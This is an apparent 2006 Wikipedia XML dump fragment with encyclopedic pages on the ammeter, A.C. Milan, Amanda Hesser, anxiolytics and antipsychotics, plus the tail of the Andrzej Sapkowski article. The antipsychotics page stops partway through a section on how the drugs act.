*''[[Lux perpetua]]'' (not yet released)

===Other works===
*''[[The Eye of Yrrhedes]]'' (''Oko Yrrhedesa'') ([[1995]]), roleplaying game
*''[[The World of King Arthur. Maladie]]'' (''Świat króla Artura. Maladie.'') ([[1995]])
*''[[Manuscript Discovered in a Dragon's Cave]]'' (''Rękopis znaleziony w Smoczej Jaskini'') ([[2001]])

==External links==
*[http://www.sapkowski.pl Andrzej Sapkowski's official site]
*[http://www.imdb.com/name/nm1140292/ Page for Sapkowski at Internet Movie Database]
*[http://www.polishwriting.net/?s=author&amp;c=sapkowski Excerpts of Sapkowski in English]

[[Category:1948 births|Sapkowski, Andrzej]]
[[Category:Living people|Sapkowski, Andrzej]]
[[Category:Polish fantasy writers|Sapkowski, Andrzej]]
[[Category:Polish science fiction writers|Sapkowski, Andrzej]]

[[cs:Andrzej Sapkowski]]
[[da:Andrzej Sapkowski]]
[[de:Andrzej Sapkowski]]
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[[ru:Сапковский, Анджей]]</text>
    </revision>
  </page>
  <page>
    <title>Ammeter</title>
    <id>2866</id>
    <revision>
      <id>39689229</id>
      <timestamp>2006-02-15T04:28:03Z</timestamp>
      <contributor>
        <username>DHN-bot</username>
        <id>575307</id>
      </contributor>
      <minor />
      <comment>robot  Modifying: hu</comment>
      <text xml:space="preserve">[[Image:Galvanometer diagram.png|frame|&lt;font face=&quot;arial&quot; color=&quot;red&quot;&gt;Wire carrying current to be measured&lt;/font&gt;&lt;br&gt;&lt;font face =&quot;arial&quot; color=&quot;green&quot;&gt;Spring providing restoring force&lt;/font&gt;]]
An '''ammeter''' is a [[measuring instrument]] used to measure the flow of [[electric current]] in a [[Electric circuit|circuit]].  Electric currents are measured in [[ampere]]s, hence the name. The word &quot;ammeter&quot; is commonly misspelled or mispronounced as &quot;ampmeter&quot; by some.

The earliest design is the D'Arsonval [[galvanometer]].  It uses [[magnetism|magnetic]] deflection, where current passing through a coil causes the coil to move in a [[magnetic field]].  The [[voltage]] drop across the coil is kept to a minimum to minimize resistance in any circuit into which the meter is inserted.

A galvanometer can burn out if its tiny, delicate coil overheats.  To measure larger currents, a [[resistor]] called a [[Ammeter shunt|''shunt'']] is placed in [[Series and parallel circuits|parallel]] with the coil.  Most of the current flows through the shunt, and only a small fraction flows through the meter.  With this solution, arbitrarily large currents can be measured with a single meter. Traditionally, the meter used with a shunt reaches full-scale deflection when a voltage of 50mV is placed across its coil, so shunts are typically designed to produce a voltage drop of 50mV when carrying their full rated current.

Cruder ammeters simply use a moving piece of [[iron]] (or a magnet) that is acted-upon by the electromagnetic force of fixed coil of (usually heavy [[Wire gauge|gauge]] wire. At very high current ratings, such an ammeter can actually just clamp on to an existing conductor (where the conductor acts as a single-turn coil); this later example is sometimes used in automotive applications where it clamps-on to the main [[car battery|battery]] wire to show the charging and discharging of the battery.

More modern ammeter designs use an [[analog to digital converter]] to measure the voltage across the shunt resistor. The ADC is read by a microcomputer that performs the calculations to display the current through the resistor.

One problem with the use of an ammeter is the need for the meter to be inserted into the circuit and become part of it.  In AC circuits, an inductive coupling adapter converts the magnetic field around a [[Conductor (material)|conductor]] into a small AC current that can be easily read by a meter. See [[clamp meter]]. In a similar way, accurate DC non-contact ammeters have been constructed using [[Hall effect]] magnetic field sensors.

==See also==
*[[Ohmmeter]]
*[[Voltmeter]]
*[[Multimeter]]
*[[Meter (electronics)]]
*[[Measuring instrument]]

*[[Electronic test equipment]]
*[[Electronics]]
*[[Electric circuit]]
*[[List of electronics topics]]

*[[Series and parallel circuits]]

*[[Galvanometer]]
*[[Clamp meter]]

[[Category:Measuring instruments]]
[[Category:Electronic test equipment]]

[[ca:Amperímetre]]
[[da:Amperemeter]]
[[de:Strommesser]]
[[es:Amperímetro]]
[[fr:Ampèremètre]]
[[it:Amperometro]]
[[hu:Villamos műszerek]]
[[nl:Ampèremeter]]
[[ja:電流計]]
[[pl:Amperomierz]]
[[pt:Amperímetro]]
[[ru:Амперметр]]
[[sl:Ampermeter]]
[[sv:Amperemeter]]
[[vi:Ampe kế]]</text>
    </revision>
  </page>
  <page>
    <title>A.C. Milan</title>
    <id>2867</id>
    <revision>
      <id>41939769</id>
      <timestamp>2006-03-02T19:40:57Z</timestamp>
      <contributor>
        <username>Necronudist</username>
        <id>552973</id>
      </contributor>
      <minor />
      <comment>/* Famous players */  - alphabetized</comment>
      <text xml:space="preserve">{{Football club infobox |
  clubname = Milan |
  image    = [[Image:Ac_milan.gif|75px|logo]] |
  fullname = Associazione Calcio Milan SpA |
  nickname = ''Rossoneri'' |
  founded  = [[December 16]],[[1899]] |
  ground   = [[San Siro|Stadio Giuseppe Meazza]],&lt;br/&gt;San Siro, [[Milan]], [[Italy]] |
  capacity = 85,700 | 
  chairman = [[Silvio Berlusconi]] |
  manager  = [[Carlo Ancelotti]] |
  league   = [[Serie A]] |
  season   = 2004-[[2005|05]] |
  position = [[Serie A]], 2nd |
  pattern_la1=_redshoulders|pattern_b1=_blackstripes|pattern_ra1=_redshoulders|
  leftarm1=000000|body1=FF0000|rightarm1=000000|shorts1=000000|socks1=000000|
  pattern_la2=_shouldersonwhite|pattern_b2=_shouldersonwhite|pattern_ra2=_shouldersonwhite|
  leftarm2=FF0000|body2=FF0000|rightarm2=FF0000|shorts2=FFFFFF|socks2=FFFFFF|
}}

'''Associazione Calcio Milan''' is an [[Italy|Italian]] [[football (soccer)|football]] club. Based in [[Milan]], [[Lombardy]], they play in red-and-black stripes and black shorts ( the same as [[Bohemian F.C.]] ), giving them the nickname ''rossoneri'' (&quot;red-blacks&quot;). One of the most successful [[club]]s in the world, they have won the prestigious [[UEFA Champions League|European Cup]] 6 times (second only to [[Real Madrid]]), [[Serie A]] 17 times (only rivals [[Juventus F.C.|Juventus]] have more [[Scudetto|Scudetti]]) and [[Coppa Italia]] five times. It is also one of the most supported football clubs in the world.


==History==
The club was founded in 1899 as the ''Milan Cricket and Football Club'' by [[Alfred Edwards]] and [[Herbert Kilpin]], [[United Kingdom|British]] expatriates. In honour of its origins, the club has retained the [[English language|English]] [[spelling]] of its [[city|city's]] name, instead of changing it to the [[Italian language|Italian]] ''Milano''; it should be noted that the current Italian [[pronunciation]] is actually ''MEE-lahn''.

Historically, AC Milan (usually referred to as &quot;Mìlan&quot; in Italy) was supported by the city's [[working class|working classes]] and [[trade union|trade unionists]], while Inter was mainly supported by the more prosperous. However, in recent years, the clubs have seen a significant reversal in supporter bases, since Milan is now owned by media magnate and current conservative Prime Minister of Italy [[Silvio Berlusconi]], while Inter is now owned by a centre-left [[petroleum|oil]] [[businessman]], [[Massimo Moratti]].

Perhaps AC Milan's greatest period of success was in the late 1980s and early 1990s, triumphing in the European Champions League in 1989, 1990 and 1994 as well as a brace of domestic league titles and various other prizes.  During this time, the rossoneri came to be known as 'Gli Invicibili' the Invincibles - as proven by an unprecedented 58 match run with no defeats; their 1992 Scudetto triumph came without a single defeat - to this day a feat which has not been repeated.  The Invincibili team had the likes of [[Franco Baresi]] and [[Paolo Maldini]] commanding possibly one of the best defences in history alongside the Dutch trio of [[Ruud Gullit]], [[Frank Rijkaard]] and [[Marco Van Basten]] rounding out the attack.  AC Milan was crowned European champions in 1969 when [[Cesare Maldini]], current skipper, Paolo's father was in the side.  More recently, AC Milan have attempted to recapture their glory days with two domestic titles in 1999 and 2004 and a sixth Champions League trophy in 2003.  In 2005, AC Milan let a 3-0 lead in their Champions League Final slip to a 3-3 draw before losing on penalties against [[FC Liverpool]] of England.  This was the first time that AC Milan had lost in a European Final while playing in their away strip (all-white).

==Stadium==
The team's current [[stadium]] is the 85,700 seater Giuseppe Meazza, also known as the [[San Siro]]. The stadium is shared with [[Internazionale Milano F.C.|Internazionale]] (also known as &quot;Inter&quot;), the other major football club in Milan. AC Milan supporters use &quot;San Siro&quot; to refer to the stadium because [[Giuseppe Meazza|Meazza]] was a star player for Inter.

On [[19 December]] [[2005]], Milan Vice-President/CEO, [[Adriano Galliani]] announced that the team is seriously working to move out from San Siro. He said that Milan's new stadium will be largely based on Schalke Arena and following the standards of football stadia in America, Germany, and Spain. Most likely it will be a stadium for football purpose only (without the athletic tracks). The new stadium's name will be given to the sponsors.

==Current first team squad==
''As of [[January 31]] [[2006]]''
{{Football squad start}}
{{Football squad player|no=1|nat=Brazil|name=[[Nelson de Jesus Silva|Dida]]|pos=GK}}
{{Football squad player|no=2|nat=Brazil|name=[[Marcos Evangelista de Moraes|Cafu]]|pos=DF}}
{{Football squad player|no=3|nat=Italy|name=[[Paolo Maldini]]|pos=DF|other=captain}}
{{Football squad player|no=4|nat=Georgia|name=[[Kakhaber Kaladze]]|pos=DF}}
{{Football squad player|no=5|nat=Italy|name=[[Alessandro Costacurta]]|pos=DF}}
{{Football squad player|no=7|nat=Ukraine|name=[[Andriy Shevchenko]]|pos=FW}}
{{Football squad player|no=8|nat=Italy|name=[[Gennaro Ivan Gattuso]]|pos=MF}}
{{Football squad player|no=9|nat=Italy|name=[[Filippo Inzaghi]]|pos=FW}}
{{Football squad player|no=10|nat=Portugal|name=[[Rui Costa]]|pos=MF}}
{{Football squad player|no=11|nat=Italy|name=[[Alberto Gilardino]]|pos=FW}}
{{Football squad player|no=12|nat=Italy|name=[[Valerio Fiori]]|pos=GK}}
{{Football squad player|no=13|nat=Italy|name=[[Alessandro Nesta]]|pos=DF}}
{{Football squad player|no=14|nat=Switzerland|name=[[Johann Vogel]]|pos=MF}}
{{Football squad mid}}
{{Football squad player|no=16|nat=Australia|name=[[Zeljko Kalac]]|pos=GK}}
{{Football squad player|no=17|nat=Croatia|name=[[Dario Šimić]]|pos=DF}}
{{Football squad player|no=18|nat=Czech Republic|name=[[Marek Jankulovski]]|pos=MF}}
{{Football squad player|no=20|nat=Netherlands|name=[[Clarence Seedorf]]|pos=MF}}
{{Football squad player|no=21|nat=Italy|name=[[Andrea Pirlo]]|pos=MF}}
{{Football squad player|no=22|nat=Brazil|name=[[Ricardo Izecson dos Santos Leite|Kaká]]|pos=MF}}
{{Football squad player|no=23|nat=Italy|name=[[Massimo Ambrosini]]|pos=MF}}
{{Football squad player|no=27|nat=Brazil|name=[[Sergio Claudio dos Santos|Serginho]]|pos=MF}}
{{Football squad player|no=31|nat=Netherlands|name=[[Jaap Stam]]|pos=DF}}
{{Football squad player|no=37|nat=Brazil|name=[[Marcio Amoroso|Amoroso]]|pos=FW}}
{{Football squad player|no=41|nat=Italy|name=[[Matteo Ardemagni]]|pos=FW|other=from youth team}}
{{Football squad player|no=46|nat=Italy|name=[[Lino Marzoratti]]|pos=DF|other=from youth team}}
{{Football squad end}}

==Championships==
One of the most successful [[club]]s in the World, they have won the prestigious [[UEFA Champions League|European Cup]] 6 times (second only to [[Real Madrid]]), [[Serie A]] 17 times (only rivals [[Juventus F.C.|Juventus]] have more [[Scudetto|Scudetti]]) and [[Coppa Italia]] five times.

*'''[[Serie A|Scudetto]]: 17'''
**1901, 1906, 1907, 1950-51, 1954-55, 1956-57, 1958-59, 1961-62, 1967-68, 1978-79, 1987-88, 1991-92, 1992-93, 1993-94, 1995-96, 1998-99, 2003-04
[[Image:Milano Scudetto Milan 1.jpg|right|thumb|200px|May 2004: celebrating the 17&lt;sup&gt;th&lt;/sup&gt; ''scudetto'' in ''piazza del [[Duomo di Milano|Duomo]]'']]
*'''[[UEFA Champions League|European Cup]]: 6'''
**1962-63, 1968-69, 1988-89, 1989-90, 1993-94, 2002-03

*'''[[Coppa Italia|Italian Cup]]: 5'''
**1966-67, 1971-72, 1972-73, 1976-77, 2002-03

*'''[[Italian Super Cup]]: 5'''
**1988, 1992, 1993, 1994, 2004

*'''[[European/South American Cup|Intercontinental Cup]]: 3'''
**1969, 1989, 1990

*'''[[European Super Cup]]: 4'''
**1989, 1990, 1995, 2003

*'''[[Cup Winners' Cup]]: 2'''
**1967-68, 1972-73

*'''[[Latin Cup]]: 2''' 
**1951, 1956

* '''[[Mitropa Cup]]: 1'''
**1981/82

'''Finals'''

*'''European Cup/Champions League: 4''' 
**1957/58, 1992/93, 1994/95, 2004/05

*'''Cup Winners' Cup: 1'''
**1973/74

*'''Intercontinental Cup: 4'''
**1963, 1993, 1994, 2003

*'''European Super Cup: 2'''
**1974, 1994

*'''Latin Cup: 1'''
**1953

*'''Italian Cup: 7'''
**1941/42, 1967/68, 1970/71, 1974/75, 1984/85, 1989/90, 1997/98

==Famous players==
{|
|valign=&quot;top&quot;|
*{{flagicon|Italy}} [[Christian Abbiati]]
*{{flagicon|Italy}} [[Demetrio Albertini]]
*{{flagicon|Italy}} [[Jose Altafini]]
*{{flagicon|Italy}} [[Carlo Ancelotti]]
*{{flagicon|Argentina}} [[Roberto Ayala]]
*{{flagicon|Italy}} [[Roberto Baggio]]
*{{flagicon|Italy}} [[Franco Baresi]]
*{{flagicon|Netherlands}} [[Marco van Basten]]
*{{flagicon|Germany}} [[Oliver Bierhoff]]
*{{flagicon|England}} [[Luther Blissett (footballer)|Luther Blissett]]
*{{flagicon|Croatia}} [[Zvonimir Boban]]
*{{flagicon|Italy}} [[Aldo Boffi]]
*{{flagicon|Brazil}} [[Cafu]]
*{{flagicon|Italy}} [[Fabio Capello]]
*{{flagicon|Italy}} [[Alessandro Costacurta]]
*{{flagicon|Argentina}} [[Hernán Crespo]]
*{{flagicon|Netherlands}} [[Edgar Davids]]
*{{flagicon|France}} [[Marcel Desailly]]
*{{flagicon|Italy}} [[Renzo De Vecchi]]
*{{flagicon|Italy}} [[Paolo Di Canio]]
*{{flagicon|Brazil}} [[Dida]]
*{{flagicon|Italy}} [[Roberto Donadoni]]
*{{flagicon|Belgium}} [[Eric Gerets]]
*{{flagicon|Italy}} [[Alberto Gilardino]]
*{{flagicon|England}} [[Jimmy Greaves]]
*{{flagicon|Sweden}} [[Gunnar Gren]]
*{{flagicon|Netherlands}} [[Ruud Gullit]]
*{{flagicon|Sweden}} [[Kurt Hamrin]]
*{{flagicon|England}} [[Mark Hateley]]
*{{flagicon|Netherlands}} [[Louis van Hege]]
*{{flagicon|Italy}} [[Filippo Inzaghi]]
*{{flagicon|Brazil}} [[Ricardo Izecson dos Santos Leite|Kaka]]
*{{flagicon|England}} [[Herbert Kilpin]]
*{{flagicon|Netherlands}} [[Patrick Kluivert]]
|width=&quot;50&quot;|&amp;nbsp;
|valign=&quot;top&quot;|
*{{flagicon|Brazil}} [[Leonardo Nascimento de Araujo|Leonardo]]
*{{flagicon|Sweden}} [[Nils Liedholm]]
*{{flagicon|Italy}} [[Cesare Maldini]]
*{{flagicon|Italy}} [[Paolo Maldini]]
*{{flagicon|Italy}} [[Daniele Massaro]]
*{{flagicon|Italy}} [[Giuseppe Meazza]]
*{{flagicon|Italy}} [[Alessandro Nesta]]
*{{flagicon|Sweden}} [[Gunnar Nordahl]]
*{{flagicon|Italy}} [[Christian Panucci]]
*{{flagicon|France}} [[Jean-Pierre Papin]]
*{{flagicon|Italy}} [[Pierino Prati]]
*{{flagicon|Argentina}} [[Fernando Redondo]]
*{{flagicon|Netherlands}} [[Frank Rijkaard]]
*{{flagicon|Brazil}} [[Rivaldo]]
*{{flagicon|Italy}} [[Gianni Rivera]]
*{{flagicon|Portugal}} [[Rui Costa]]
*{{flagicon|Italy}} [[Sandro Salvadore]]
*{{flagicon|Italy}} [[Giuseppe Santagostino]]
*{{flagicon|Serbia and Montenegro}} [[Dejan Savicevic]]
*{{flagicon|Uruguay}} [[Juan Alberto Schiaffino]]
*{{flagicon|Germany}} [[Karl Heinz Schnellinger]]
*{{flagicon|Netherlands}} [[Clarence Seedorf]]
*{{flagicon|Ukraine}} [[Andriy Shevchenko]]
*{{flagicon|Italy}} [[Marco Simone]]
*{{flagicon|Italy}} [[Angelo Sormani]]
*{{flagicon|Netherlands}} [[Jaap Stam]]
*{{flagicon|Italy}} [[Mauro Tassotti]]
*{{flagicon|Italy}} [[Giovanni Trapattoni]]
*{{flagicon|Denmark}} [[Jon Dahl Tomasson]]
*{{flagicon|France}} [[Patrick Vieira]]
*{{flagicon|Liberia}} [[George Weah]]
*{{flagicon|England}} [[Ray Wilkins]]
*{{flagicon|Germany}} [[Christian Ziege]]
|}

==All-Time Goalscorers==
{|
!Player
!Goals
!Seasons
|-
|[[Gunnar Nordahl]]||221||8
|-
|[[Andriy Shevchenko]] (*)||165||6
|-
|[[Gianni Rivera]]||164||18
|-
|[[José Altafini]]||161||7
|-
|[[Aldo Boffi]]||136||9
|-
|[[Marco Van Basten]]||124||7
|-
|[[Giuseppe Santagostino]]||106||11
|-
|[[Pierino Prati]]||102||7
|-
|[[Louis Van Hege]]||98||7
|-
|[[Alberto Bigon|Albertino Bigon]]||90||9
|-
|[[Nils Liedholm]]||89||12
|-
|[[Renzo Burini]]||88||6
|-
|[[Pietro Paolo Virdis]]||76||5
|-
|[[Marco Simone]]||75||9
|-
|[[Aldo Cevenini I]]||73||7
|-
|[[Pietro Sante Arcari]]||70||6
|-
|[[Daniele Massaro]]||70||9
|-
|[[Giovanni Moretti]]||68||8
|-
|[[Angelo Benedicto Sormani]]||65||5
|}
(*) denotes still active in the Milan team.

==Retired numbers==
* 3 {{flagicon|Italy}} [[Paolo Maldini]], [[fullback#Association football (soccer)|left fullback]], 1984-, ''after his retirement #3 would be designated only to his son [[Christian Maldini|Christian]] ([[Milan]], [[June 16]] [[1996]])''
* 6 {{flagicon|Italy}} [[Franco Baresi]], [[libero|sweeper]], 1977-1997

==External links==
*{{it icon}} {{pt icon}} {{en icon}} {{zh icon}} {{ja icon}} [http://www.acmilan.com Official AC Milan Website]
*{{en icon}} [http://acmilan.atspace.com AC Milan Forever - Macedonian AC Milan fanclub]
*[http://www.acmilan-online.com/ AC Milan Online]
*{{en icon}} [http://www.milanfan.com/ AC Milan Fansite]
*{{it icon}} {{en icon}} [http://www.acmilan.net/ AC Milan.Net]
*[http://www.milanmania.com/ Milan Mania]
* {{en icon}} [http://www.milanmalaysia.com/ MilanMalaysia]
* {{en icon}} [http://www.resultsfromfootball.com/seriea-team/acmilan.html AC Milan statistics]
{{Champions League 2005/06}}
{{Serie A}}

[[Category:Italian football clubs|Milan]]
[[Category:A.C. Milan]]
[[Category:G-14 clubs|Milan, AC]]

[[bg:Милан]]
[[ca:A.C. Milan]]
[[cs:AC Milan]]
[[da:AC Milan]]
[[de:AC Mailand]]
[[es:Associazione Calcio Milan]]
[[fr:Milan AC]]
[[id:AC Milan]]
[[is:AC Milan]]
[[it:Associazione Calcio Milan]]
[[he:מילאן (כדורגל)]]
[[nl:AC Milan]]
[[ja:ACミラン]]
[[no:AC Milan]]
[[pl:A.C. Milan]]
[[pt:AC Milan]]
[[ro:AC Milan]]
[[ru:Милан (футбольный клуб)]]
[[simple:A.C. Milan]]
[[sk:A.C. Milan]]
[[fi:AC Milan]]
[[sv:AC Milan]]
[[tr:A.C. Milan]]
[[zh:AC米兰足球俱乐部]]</text>
    </revision>
  </page>
  <page>
    <title>Amanda Hesser</title>
    <id>2868</id>
    <revision>
      <id>24765825</id>
      <timestamp>2005-10-04T23:04:14Z</timestamp>
      <contributor>
        <ip>12.40.227.4</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Amanda Hesser_NYTimesMagazine.jpg|right|frame|Amanda Hesser]]
'''Amanda Hesser''' is a chef, cookbook author and food reporter. She is currently the editor for ''[[The New York Times]]'' style magazine, ''T Living''.

She was born in [[Doylestown, Pennsylvania|Doylestown]], [[Pennsylvania]]. After graduating from [[Bentley College]] in 1993, her interest in cooking sent her to work in New York, and eventually to study in Europe after receiving the Les Dames d'Escoffier scholarship.  Her studies took her to Germany, Switzerland, Rome, and eventually France.

During her time in France, Hesser cooked at L'Essentiel in the Haute Savoie under Chef Jean-Michel Bouvier as well as the Château du Feÿ in Burgundy.  While apprenticing as a personal cook to the family of the founder, Anne Willan, Hesser earned a Graduate Diplôme from the École de Cuisine La Varenne.  It was during this time in France that Hesser's writings started appearing in books and newspapers, including ''[[The Washington Post]]''.

Hesser now lives in [[New York City]].  Her first book, released in 1999, is titled ''The Cook and The Gardner''.

Hesser also wrote a book entitled &quot;Cooking for Mr. Latte,&quot; which was published in 2003.

[[Category:American chefs|Hesser, Amanda]]
[[Category:American journalists|Hesser, Amanda]]</text>
    </revision>
  </page>
  <page>
    <title>Anxiolytic</title>
    <id>2869</id>
    <revision>
      <id>37702419</id>
      <timestamp>2006-02-01T17:46:41Z</timestamp>
      <contributor>
        <username>David Kernow</username>
        <id>445578</id>
      </contributor>
      <minor />
      <comment>copyediting (¶2)</comment>
      <text xml:space="preserve">{{not verified}}
An '''anxiolytic''' is any [[Medication|drug]] or therapy used in the treatment of [[anxiety disorder]]s. Different [[antidepressant]]s, [[azapirone]]s, [[benzodiazepine]]s, and non-cardioselective [[beta-receptor blocker]]s can be prescribed. For [[somatic]] symptoms, [[propranolol]] and [[oxprenolol]] can be used. 

Many of the [[Tricyclic antidepressant|tri]]/[[tetracyclic antidepressant]]s currently marketed (e.g. [[doxepin]], [[trimipramine]], [[amitriptyline]], [[clomipramine]]) show effective anxiolytic properties independent from their antidepressant activity. [[Venlafaxine]] is a relatively new drug with dual action (reuptake inhibitor of serotonin and norepinephrine) and proven efficiacy. Additionally, it may have a shorter latent period than other medications. [[SSRI]]s such as [[Fluoxetine]] and [[Monoamine oxidase inhibitor|MAO inhibitor]]s such as [[moclobemide]] or [[phenelzine]] exert anxiolytic activity, but often only after a latent period of several weeks. The initial SSRI dose should be particular low &amp;ndash; for instance, Fluoxetine or Paroxetin 10mg daily &amp;ndash; because higher doses may worsen anxiety. The dose may subsequently be increased gradually to 40mg (Fluoxetine) or 50mg (Paroxetin) daily. Most of the SSRI and MAO inhibitors aditionally benefit the disabling symptoms of [[agoraphobia]], often noted to occur together with anxiety disorders. '''MAO inhibitors and SSRIs must never be given together.''' 

[[Neuroleptic]]s of the different classes may also be effective as anxiolytics, but this use is usually discouraged because of the high incidence of side effects encountered, especially early and late extrapyramidal ones, which could be irreversible.

[[Azapirone]]s, such as [[buspirone]], are most commonly prescribed. They are chemically and pharmacologically quite different from most of the other anxiolytics and the adverse effects of dependence, sedation and psychomotor impairment are noticeably less than with [[benzodiazepine]]s.

Benzodiazepines are prescribed for short-term relief (the [[FDA]] recommends a maximum of 8 months for most benzodiazepines) of severe and disabling anxiety. Common medications are [[diazepam]] (Valium&lt;sup&gt;®&lt;/sup&gt;) and [[alprazolam]] (Xanax&lt;sup&gt;®&lt;/sup&gt;). Benzodiazepines may also be indicated to cover the latent periods associated with SSRIs, MAO inhibitors and azapirones. They are used to treat a wide variety of conditions and symptoms and are usually a first choice when short-term [[Central nervous system|CNS]] [[sedation]] is needed. Longer term uses include severe anxiety and [[psychosis]]. There is a risk of [[withdrawal]] symptoms and rebound syndrome after only a few weeks. There is also the added problem of the accumulation of drug [[metabolite]]s and adverse effects.

[[Barbiturate]]s and [[meprobamate]] exert an anxiolytic effect linked to the sedation they cause. The risk of abuse and addiction is high. Many experts consider these drugs as obsolete for treating anxiety, although they may be valuable for the short term treatment of severe insomnia.

Certain herbs, such as [[St. John's Wort]] and [[Kava]] (Kava Kava), have been used as anxiolytics, but limited reliable evidence is available for their efficacy. In Europe, the root of the [[Valerian (plant)|valerian]] is also popular as an anxiolytic.

It should be noted that [[psychotherapy]] (e.g. cognitive or behavior therapy) is in most cases very useful to assist [[pharmacotherapy]]. 


&lt;!--Categories--&gt;
[[Category:Anxiety disorders]]
[[Category:Psychoactive drugs]]

&lt;!--Other languages--&gt;
[[de:Anxiolytikum]]
[[es:Ansiolítico]]
[[fr:Anxiolytique]]
[[pl:Anksjolityki]]</text>
    </revision>
  </page>
  <page>
    <title>Antipsychotic</title>
    <id>2870</id>
    <revision>
      <id>42124959</id>
      <timestamp>2006-03-04T00:01:52Z</timestamp>
      <contributor>
        <username>Kriegman</username>
        <id>181058</id>
      </contributor>
      <comment>/* Side effects */</comment>
      <text xml:space="preserve">The term '''antipsychotic''' is applied to a group of [[Medication|drug]]s used to treat [[psychosis]]. Common conditions with which antipsychotics might be used include [[schizophrenia]], [[mania]] and [[delusional disorder]], although antipsychotics might be used to counter psychosis associated with a wide range of other diagnoses. Antipsychotics also have some effects as [[mood stabilizer]]s, leading to their frequent use in treating [[mood disorder]] (particularly [[bipolar disorder]]) even when no signs of psychosis are present. Some antipsychotics ([[haloperidol]], [[pimozide]]) are used to treat [[Tourette's Syndrome]].

These drugs are also referred to as '''neuroleptic drugs''', or simply '''neuroleptics'''. The word neuroleptic is derieved from Greek. 'Neuro' refers to the nerves and 'lept' means 'to take hold of'. Thus the word means 'taking hold of one's nerves' which implies their role in mood stabilization.

There are currently two main types of antipsychotics in use, the [[typical antipsychotic]]s and [[atypical antipsychotic]]s. A new class of antipsychotic drugs has recently been discovered, known as [[partial dopamine agonist]]s. Clinical development has progressed rapidly on partial dopamine agonists, and one drug in this class ([[aripiprazole]]) has already been approved by the [[FDA]]. Although the underlying mechanism of this new class is different from all previous typical and atypical antipsychotics, partial dopamine agonists are often categorized as atypicals.

Typical antipsychotics are sometimes referred to as '''major tranquilizers''', because some of them can tranquilise and sedate. This term is increasingly disused because many newer antipsychotics do not have strong sedating properties and the terminology implies a connection with [[benzodiazepine]]s, whereas none exists.

== Common antipsychotic drugs ==
Commonly used antipsychotic medications are listed below by drug group. Trade names appear in brackets.

*[[Typical antipsychotic]]s:
** [[Phenothiazines]]:
*** [[Chlorpromazine]] (Thorazine&amp;reg;)
*** [[Fluphenazine]] (Prolixin&amp;reg;) - Available in decanoate (long acting) form
*** [[Perphenazine]] (Trilafon&amp;reg;)
*** [[Prochlorperazine]] (Compazine&amp;reg;)
*** [[Thioridazine]] (Mellaril&amp;reg;)
*** [[Trifluoperazine]] (Stelazine&amp;reg;)
** [[Haloperidol]] (Haldol&amp;reg;)- Available in decanoate (long acting) form
** [[Pimozide]] (Orap&amp;reg;) - Used to treat [[Tourette's Syndrome]]

* [[Atypical antipsychotic]]s:
** [[Clozapine]] (Clozaril&amp;reg;)- Requires weekly to every two week [[complete blood count|CBC (FBC)]] due to risk of [[agranulocytosis]] (severe decrease of  [[white blood cells]]).
** [[Olanzapine]] (Zyprexa&amp;reg;) - Used to treate psychotic disorders including acute manic episodes and maintenance of bipolar disorder.  Dosing 2.5 mg to 20 mg per day.  Comes in a form that quickly dissovles in the mouth (Zyprexa Zydis).  May cause appetite increase, weight gain and altered glucose metabolism leading to an increased risk of diabetes mellitus.
** [[Risperidone]] (Risperdal&amp;reg;) - Dosing 0.25 - 6 mg per day and is titrated upward; divided dosing is recommended until initial titration is completed at which time the drug can be administered once daily. Available in long-acting form (Risperdal Consta that is administered every 2 weeks; usual dose is 25 mg.).  Comes in a form that quickly dissovles in the mouth (Risperdal M-Tab)
** [[Quetiapine]] (Seroquel&amp;reg;)- Also used to treat bipolar disorders; helps with sleep (if used for sleep and not effective at 200 mg, it is not going to be effective in this regard)  Dosing 25 mg up to 800 mg maximum.  Usually see smaller doses during the day and larger dose at bedtime.
** [[Ziprasidone]] (Geodon&amp;reg;) -  Now approved to treat bipolar disorder.  Dosing 20 mg twice daily initially up to 80 mg twice daily.  Prolonged [[QT interval]] a concern; watch closely with patients who have heart disease; when used with other drugs that prolong QT interval potentially life-threatening.

* [[Partial dopamine agonist]]s:
** [[Aripiprazole]] (Abilify) - Newest atypical antipsychotic; dosing 5 mg up to maximum of 30 mg has been used.  Mechanism of action is thought to reduce susceptibility to metabolic symptoms seen in some other atypical antipsychotics.

Symbyax - (combination of olanzapine and fluoxetine used in the treatment of bipolar depression.)

* [[Tetrabenazine]] (Nitoman&amp;reg; in Canada and Xenazine&amp;reg; in New Zealand and some parts of Europe) is similar in function to antipsychotic drugs, though isn't generally considered an antipsychotic itself.  This is likely due to its main usefulness being the treatment of hyperkinetic [[movement disorder]]s such as [[Huntington's Disease]] and [[Tourette's Syndrome]], rather than for conditions such as [[schizophrenia]].  Also, rather than having the potential to cause [[tardive dyskinesia]] that most antipsychotics have, tetrabenazine can actually be an effective ''treatment'' for the condition.

The typical antipsychotic drugs are now out of [[patent]] meaning any pharmaceutical company is legally allowed to produce cheap [[generic drug|generic]] versions of these medications. Whilst this makes them a great deal cheaper than the atypical drugs which are still in patent, atypical drugs are preferred as a first line treatment due to the fact that they are believed to have fewer side effects and seem to have additional benefits for the 'negative symptoms' of [[schizophrenia]], a typical condition for which they might be prescribed.  A recent multi-site, [[NIMH]] study published in 2005 comparing the atypicals to perphenazine found no greater efficacy for the atypicals, which had a side effect profile that was equal to or worse than the older drug.

== Drug action and effectiveness ==

All antipsychotic drugs tend to block the D&lt;sub&gt;2&lt;/sub&gt; [[receptors]] in the [[dopamine]] pathways in the [[brain]], so the normal effect of dopamine release in the relevant [[synapse]]s is reduced.

It is the blockade of D&lt;sub&gt;2&lt;/sub&gt; receptors in the [[mesolimbic pathway]] of the [[brain]] which is thought to produce the intended antipsychotic effect. 

Typical antipsychotics are not particularly selective and also block the same receptors in the [[mesocortical pathway]], [[tuberoinfundibular pathway]] and the [[nigrostriatal pathway]]. Blocking D&lt;sub&gt;2&lt;/sub&gt; receptors in these other pathways is thought to produce some of the unwanted [[Adverse effect (medicine)|side effects]] that the typical antipsychotics can produce (see below).

Atypical antipsychotic drugs have a similar blocking effect on D&lt;sub&gt;2&lt;/sub&gt; receptors but seem to be a little more selective, targeting the intended pathway to a larger degree than the others. They also block or partially block [[serotonin]] receptors (particularly 5HT&lt;sub&gt;2A,C&lt;/sub&gt; and 5HT&lt;sub&gt;1A&lt;/sub&gt; receptors).

This combination of effects on both dopamine and serotonin receptors might be why atypical antipsychotic drugs tend to have fewer side effects than typicals and have a seemingly additional effect on the 'negative symptoms' of schizophrenia.

